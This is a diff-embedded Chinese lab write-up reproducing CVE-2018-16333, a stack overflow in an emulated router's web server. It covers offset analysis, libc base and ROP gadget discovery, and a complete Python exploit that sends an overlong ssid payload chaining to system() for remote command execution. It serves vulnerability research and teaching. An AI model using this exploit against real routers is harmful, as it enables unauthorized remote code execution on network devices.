// 检查文件是否存在
if (!f.exists()) {
    throw new Exception("Download file is not exist");
}
// 读取文件内容
FileInputStream fis = new File(Config.getCachePath(), fileName);
byte[] b = InputUtils.getStreamBytes(fis);
fileName参数直接从用户请求中获取没有对其进行严格
```

View File

@ -0,0 +1,423 @@
# 栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解
原创 Vlan911 我不懂安全 2025-05-11 14:38
### 此文章首发至先知社区
### https://xz.aliyun.com/news/17940
###
### 启动程序的方式与上一篇文章相同,此处不进行赘述
### 漏洞点位分析
漏洞成因是web服务在处理post请求时对ssid参数直接复制到栈上的一个局部变量中参数没有进行长度限制导致栈溢出。根据ssid字符串定位到form_fast_setting_wifi_set函数。 
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgB1SZkYC0AyHOhM24TDfrqP8cs3lB5ZbgfT87IpVlahiarzlpL3Mia2nA/640?wx_fmt=png&from=appmsg "")
程序获取ssid参数后没有经过检查就直接使用strcpy函数复制到栈变量中。其中有个细节第一次的strcpy如果要溢出到返回地址会覆盖第二次的strcpy的参数dest。因此为了将src指针覆盖为有效地址并且不影响第一次的strcpy 需要绕过两次
strcpy
的安全隐患,确保第二次
strcpy
不崩溃因此Payload中需包含可读地址 
- 1、溢出后跳到第一个gadget1控制r3寄存器为system函数地址第一个pc控制为gadget2
- 2、跳转到gadget2后控制r0为要执行的命令即可
- 3、执行system(cmd)
### 偏移量分析
启动调试这里需要换成pwndgb因为pwndgb可以支持更多的指令特别是计算偏移量
```
# 第一个终端,使用用户模式启动程序
sudo chroot ./ ./qemu -g 1234 
./bin/httpd
# 第二个终端
gdb-multiarch
target remote :1234
b *0x67028    #第一个strcpy之前的位置
b *0x6707C    #第一个strcpy的位置
#b *0x67080    #第二个strcpy函数的第一个参数位置
#b *0x67090    #第二个strcpy的位置
info breakpoints   # 或简写为 `i b`   查看断点c
#第三个终端
python3 4.py #漏洞溢出测试脚本
```
```
# 4.py测试脚本如下所示
import requests
from pwn import * 
url = "http://192.168.50.18/goform/fast_setting_wifi_set"
cookie = {"Cookie":"password=1234111115"}
data = {"ssid": cyclic(500)}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgg2vph2xzlggONwp7P7jmBoianT5VXEtXDxvSrxlu4QD0tTSvBdT58kQ/640?wx_fmt=png&from=appmsg "")
首先看一下ida对两个strcpy的汇编代码
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgupIk0FmstEJoy5bBICIic86baCUfz4Zj2MTT9dftd36KBdoFTt4gb4g/640?wx_fmt=png&from=appmsg "")
汇编代码详解如下:
```
.text:0006706C     SUB      R2, R11, #-s      # R2=R11-s 计算dest地址
.text:00067070     LDR      R3, [R11,#src]    # 加载src指针到R3
.text:00067074     MOV      R0, R2  ; dest    # 将R2的值赋给R0,设置目的地址dest
.text:00067078     MOV      R1, R3  ; src     # 将R3值赋给R1设置源地址src
.text:0006707C     BL       strcpy
.text:00067080     SUB      R2, R11, #-dest    # R2=R11-dest  计算dest地址
.text:00067084     LDR      R3, [R11,#src]     # 加载src指针到R3
.text:00067088     MOV      R0, R2  ; dest     # 将R2的值赋给R0,设置目的地址dest
.text:0006708C     MOV      R1, R3  ; src      # 将R3值赋给R1设置源地址src
.text:00067090     BL       strcpy
```
上述代码都加载了src的指针所以如果第一次溢出第二次不处理就会导致程序异常接下来看pwndbg调试首先在第一个strcpy函数前打断点strcpy函数打断点并对第二个strcpy函数之前打断点strcpy函数打断点而后运行测试脚本
首先可以看寄存器区域主要看R0寄存器、R11寄存器、SP寄存器、PC寄存器
R0寄存器一般是函数的第一个传参这里代表的是strcpy函数的第一个参数目前还没有步入到0x676c所以值还没有传入
R11寄存器当前的栈帧基址为0x40800264在ARM架构里R11寄存器一般代表FP寄存器他的值指向当前函数的栈帧基址
SP寄存器当前的栈帧基址为0x407fffe8SP寄存器代表栈指针指向当前栈顶(最低地址)
PC寄存器指向下一个即将执行的代码区域
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgyLS7v8jluWqry3xmFxU60yYhqVtMsOoCNzvkgdXIwdOB1QFQwbDsyw/640?wx_fmt=png&from=appmsg "")
执行ni指令步入后续按回车就行
此时程序已经执行完IDA的汇编代码SUB R2,R11,#-s 对应的是pwndbg里面的的sub r2, fp, #0x7c
这行代码的意思就是计算dest的地址(char s)计算方式为R11 - 0x7c=0x40800264-0x7c=0x08001E8 对应的是R2寄存器的值由调试结果可知 从栈帧基址(
FP
)向低地址方向偏移 
124
 字节(
0x7C
),定位到 
char s
 缓冲区的起始地址 也就是说char s的偏移量为7C
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgfZPPXnmvpIp13uGic4ic2QnuKMtJpOMDlu0dDl5LiaUEI6vEX9ZxybssQ/640?wx_fmt=png&from=appmsg "")
下图为执行了 0x67070 ldr r3, [fp, #-0x1c] 指令该指令为加载src指针到R3寄存器从这里可以看到SRC的栈帧指针为 R11 - 0x1c=0x40800264-0x1c=0x0800248
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgZnBFdRgicOkLq8zlibgs9xXYq3UiaRtBicbOV0Wn2UCHib8JpLeZvQ5FQwg/640?wx_fmt=png&from=appmsg "")
继续执行一步0x67074 mov r0, r2 此汇编代码市纪委将R2赋值给R0实际上就是设置目的地址为char s
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgzkVxchrkCrMZhkvK2aRXNgkgXibQFDtxjibGic0ibzELibO5sklPzOw174g/640?wx_fmt=png&from=appmsg "")
继续执行发现执行了0x67078 mov r1, r3此代码的是设置源地址(src)而后就是将源地址的字符串赋值到目的地址代表的char s从而完成strcpy(s,str)
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgQslNibxtCMM9twvJEoJK6AmialdPG0h3XfJWmDVGVunvmeCsiaJysyLrg/640?wx_fmt=png&from=appmsg "")
如果想调试第二个函数直接按c回车对第二个函数单独分析第二次调试打俩断点第一个是0x67080第二个是0x67090
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgE7t1lLOic8KcUZc91XBd2rnw7YbWBHFPayWsOW3cIddiclWxibsaCqhGA/640?wx_fmt=png&from=appmsg "")
从调试结果可以看到第二个strcpy函数也对src进行了加载dest的地址为0x408001a8 
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgWzlEunHwVx6F6e35YPV1669ianWuKDbXaGrr2x2jeNRDcS6aRNe31hg/640?wx_fmt=png&from=appmsg "")
对比一下ida 中的伪代码可以看到
char s[64]; // [sp+200h] [bp-7Ch] BYREF
char dest[64]; // [sp+1C0h] [bp-BCh] BYREF
char *src; // [sp+260h] [bp-1Ch]
ida反汇编会有一点小瑕疵比如在arm架构栈帧基址应该是fp寄存器但是在ida里显示的是bpsp+200h与bp-7ch的结果是一样的这个也可以作为偏移量进行计算对照参考但是实际结果还是需要看pwndbg的调试这个结果相对稳定
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgQVlqg889ibibuV9LcKa5pdmWBUZvibmSMvSsp3j4ZPX8ozJucicfrsVcyA/640?wx_fmt=png&from=appmsg "")
由此,我们可以得到大致的栈帧结构图
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKghwOA9DaRXiaHkdgtK7q2ATUCPIjrqEFLWLYBdZ5IlGBY7fWydgLONjQ/640?wx_fmt=png&from=appmsg "")
根据堆栈图我们不难发现src对应栈底的偏移量是0x1Cchar s到栈底的偏移量是0x7c返回地址是根据栈底+4个字节计算得来的所以src 距离返回地址的距离是0x20而char s到src的偏移量就是0x60
上面我们提到由于两个strcpy函数都对src进行了调用所以第一次传入src溢出后也会影响到第二个strcpy函数导致程序溢出崩溃从而无法执行system指令
所以为了能够完成漏洞利用,我们需要对利用链进行切割
#### (1) 第一次 strcpy(s, src)
- **目标**
:覆盖 
src
 指针,使其指向可控地址(如 
libc
 中的可读地址)。
- **偏移量**
 
- s
 到 
src
 的距离 = 
(bp - 0x1C) - (bp - 0x7C) = 0x60
96字节
- **Payload 部分**
```
payload = b'A' * 0x60 + p32(readable_addr)  # 覆盖到 `src` 并篡改指针
```
#### (2) 第二次 strcpy(dest, src)
- **目标**
:通过被篡改的 
src
 指针,向 
dest
 写入ROP链覆盖返回地址。
- **关键点**
 
- dest
 到返回地址的距离 = 
(bp + 4) - (bp - 0xBC) = 0xC0
192字节
- 但实际只需覆盖 
src
 到返回地址的 
0x20
32字节因为 
dest
 是中间跳板。
p32(readable_addr)
 占 **4字节**
返回地址本身占**4字节(arm架构中需要4字节填充)**
所以实际填充长度是**32-4-4=24字节**
#### (3) payload结构
所以payload应该调整为
```
payload = (
    b'A' * 0x60              # 覆盖到src指针位置(96字节)
    + p32(readable_addr)     # 覆盖src指针(4字节)    
    + b'C' * 24              # 覆盖剩余空间到返回地址(24字节)
    + p32(pop_r3)            # ROP链开始
    + p32(system)
    + p32(mov_r0_ret_r3)
    + cmd)
```
下图为栈帧示意图
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgiaaW8flNzHG3USyPfZhR4icMmEMAFpQfaogJSICKibQv5qk0KReia848BA/640?wx_fmt=png&from=appmsg "")
### readable_addr可读地址
使用ida pro打开libc.so.0文件理论上只要是rodata的常量的偏移量都可以拿来用但是这里只是偏移量需要跟上实际的地址这个地址就是lib基址
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKghkcCOes4XGyibkib8KmEuZ8biasFP4pwW6sd5vV4IGRfNsGscaxpdTibqA/640?wx_fmt=png&from=appmsg "")
### lib基址计算
```
sudo chroot ./ ./qemu -g 1234 ./bin/httpd  #qemu用户模式启动-g开启gdbserver远程调试
gdb-multiarch  #gdb远程调试调用
target remote :1234  #连接需要调试的端口
file ./bin/httpd   #联动需要调试的文件
b puts  #puts函数设置断点
continue  #同c,启动
```
###
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgdHQItBxOf7IjXqAaNibhRjocwyGWpCBM14RT95jialJ4p7yOrIc8oaww/640?wx_fmt=png&from=appmsg "")
由此可见在内存映射里面的基址地址是0x3fdd1cd4
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgRSX93fACnyGFNPssTrntjydXLRCRrmONiaP2InliaH107Nfo3tHzrgMg/640?wx_fmt=png&from=appmsg "")
使用ida打开libc.so.0查看puts的相对偏移量为0x35CD4
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKg5rnVVpbAqwMLG5iaibibWibFlhBZpF9NxnrI8JialFDAcOTA2lxibpnTnMpg/640?wx_fmt=png&from=appmsg "")
由此可知 lib基址为
```
lib_base = 0x3fdd1cd4 - 0x35CD4 = 0x3FD9C000
```
### system基址计算
计算system函数偏移量
```
readelf -s ./lib/libc.so.0 |grep system
system_addr = libc_base + 0x5A270
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgf5kxp2KAEUAMu4PJ4T5o6SpNGia2g1X5kIwrsVCtd8JMROicBqGbku4g/640?wx_fmt=png&from=appmsg "")
### Gadget解析
**跳转到R3的gadget1_addr**
```
ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
0x00018298 : pop {r3, pc}
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgGHa4bkt0kM3cia2rqia0U0nNGHbDN58tJIa22aibvlRN9ficXfH1VIRJVw/640?wx_fmt=png&from=appmsg "")
- **0x00018298 : pop {r3, pc}**
- **功能**
:从栈顶弹出两个值,分别存入 
r3
 和 
pc
。( 将 
system
 地址存入 
r3
)
- **用途**
:控制 
r3
 寄存器的值,并直接跳转到 
pc
 指向的地址。( 用于初始化 
r3
 和跳转 )
**找到一个可以控制R0的gadget2_addr**
```
ROPgadget --binary ./lib/libc.so.0  | grep "mov r0, sp"
0x00040cb8 : mov r0, sp ; blx r3
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKglSYQ7Wm4dOmLuibdWiaS39VpwTic6O9icGGEUGcEKhicWN14tEO9b0Ugdeg/640?wx_fmt=png&from=appmsg "")
- **0x00040cb8 : mov r0, sp ; blx r3**
- **功能**
:将栈指针 
sp
 的值赋给 
r0
,然后跳转到 
r3
 寄存器指向的地址执行( 此时 
r3
 已被前一步赋值为 
system_addr
)。
- **用途**
:用于将栈顶数据(如命令字符串)传递给 
r0
用于传递参数并触发 
system()
)。
#### ARM调用约定在ARM中函数调用时 
- 第一个参数通过 
r0
 传递。
- 函数地址通常通过 
blx r3
 跳转(
r3
 存储目标地址)
#### 关键寄存器作用
- **r0**
ARM架构中用于传递函数第一个参数 
system("/bin/sh")
 中的 
"/bin/sh"
 地址)。
- **r3**
:通用寄存器,此处用于暂存 
system
 函数地址。
- **pc**
:程序计数器,指向下一条要执行的指令地址。通过控制 
pc
,可以劫持程序流。
由此完整的payload为
### 完整payload
```
import requests
from pwn import *
cmd=b"echo success111"
libc_base = 0x3fd9c000
system = libc_base + 0x5A270
readable_addr = libc_base + 0x6415F
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298
payload = b'a'*(0x60) + p32(readable_addr) + b'b'*(0x20-8)
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = "http://192.168.50.18/goform/fast_setting_wifi_set"
cookie = {"Cookie":"password=12345"}
data = {"ssid": payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
```
执行脚本成功实现rce
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgLgyznp7bA1ib4SSfTOrHKroIRefVgPImNH8iazJOJShmSlLiclRUuiaSibw/640?wx_fmt=png&from=appmsg "")
程序有时候会抽风需要点几下ctrl+c
response = requests.post(url, cookies=cookie, data=data) 这个重复两次,是因为如果只发一次包,回来的东西不太对,不知道是啥问题
通过堆栈查看,发现数据已经插入
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKg4GNnISR6HVEl2sjXE64ArSBzAtcTEoAHozeiaks8EPw3pN73rmHefxQ/640?wx_fmt=png&from=appmsg "")
若是在0x67080 也就是strcpy传参处打断点然后查看栈空间我们可以看见从r0(函数第一个传参处)0x408001e8 到寄存器0x40800248 都已经被"aaaa"覆盖并且0x40800248地址也指向libc可读地址0x3fe0015f = libc_base + 0x6415F = 0x3fd9c000 + 0x6415F = 0x3FE0015F ,与栈内是可以对应的上的
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgcvKxRJtBKOcsuQSKWDXHkN0qMDMnicbx6WgoOibDfcmvUdfliaHInNlYg/640?wx_fmt=png&from=appmsg "")
由于arm架构小端所以每个寄存器占用4个字节所以从0x40800248 +4 到0x40800264 进行字节占用补充("bbbb")为0x20 - 8 = 24 字节
0x40800264 栈底开始进行rog链构造对应的就是
pop_r3 = libc_base + 0x18298 = 0x3fd9c000 + 0x18298 = 0x3FDB4298 
0x40800268返回地址 对应
system基址 = libc_base + 0x5A270 = 0x3fd9c000 + 0x5A270 = 0x3fdf6270
0x4080026c 为后续执行地址,对应
mov_r0_ret_r3 = libc_base + 0x40cb8 = 0x3fd9c000 + 0x40cb8 = 0x3FDDCCB8
0x40800270 栈帧基址开始执行cmd指令至此证明思路完全没问题
```
80:0200│ r0   0x408001e8 ◂— 0x61616161 ('aaaa')
... ↓         23 skipped
98:0260│      0x40800248 —▸ 0x3fe0015f ◂— cdpvs p14, #6, c6, c15, c1, #3 /* 'anonymous' */
99:0264│      0x4080024c ◂— 0x62626262 ('bbbb')
... ↓         5 skipped
9f:027c│ r11  0x40800264 —▸ 0x3fdb4298 ◂— pop {r3, pc}
a0:0280│      0x40800268 —▸ 0x3fdf6270 ◂— ldr r3, [pc, #0x144]
a1:0284│      0x4080026c —▸ 0x3fddccb8 ◂— mov r0, sp /* '\r' */
a2:0288│      0x40800270 ◂— 'echo success111'
a3:028c│      0x40800274 ◂— ' success111'
a4:0290│      0x40800278 ◂— 'cess111'
a5:0294│      0x4080027c ◂— 0x313131 /* '111' */
a6:0298│ r3   0x40800280 ◂— 'fast_setting_wifi_set'
a7:029c│      0x40800284 ◂— '_setting_wifi_set'
a8:02a0│      0x40800288 ◂— 'ting_wifi_set'
a9:02a4│      0x4080028c ◂— '_wifi_set'
aa:02a8│      0x40800290 ◂— 'i_set'
ab:02ac│      0x40800294 ◂— 0x74 /* 't' */
ac:02b0│      0x40800298 ◂— 0x0... ↓         55 skipped
e4:0390│      0x40800378 —▸ 0x66ee0 ◂— push {r4, r5, fp, lr}
e5:0394│      0x4080037c —▸ 0x119870 —▸ 0x11aaa0 ◂— 0
e6:0398│      0x40800380 ◂— 0x0
e7:039c│      0x40800384 —▸ 0x40800280 ◂— 'fast_setting_wifi_set'
```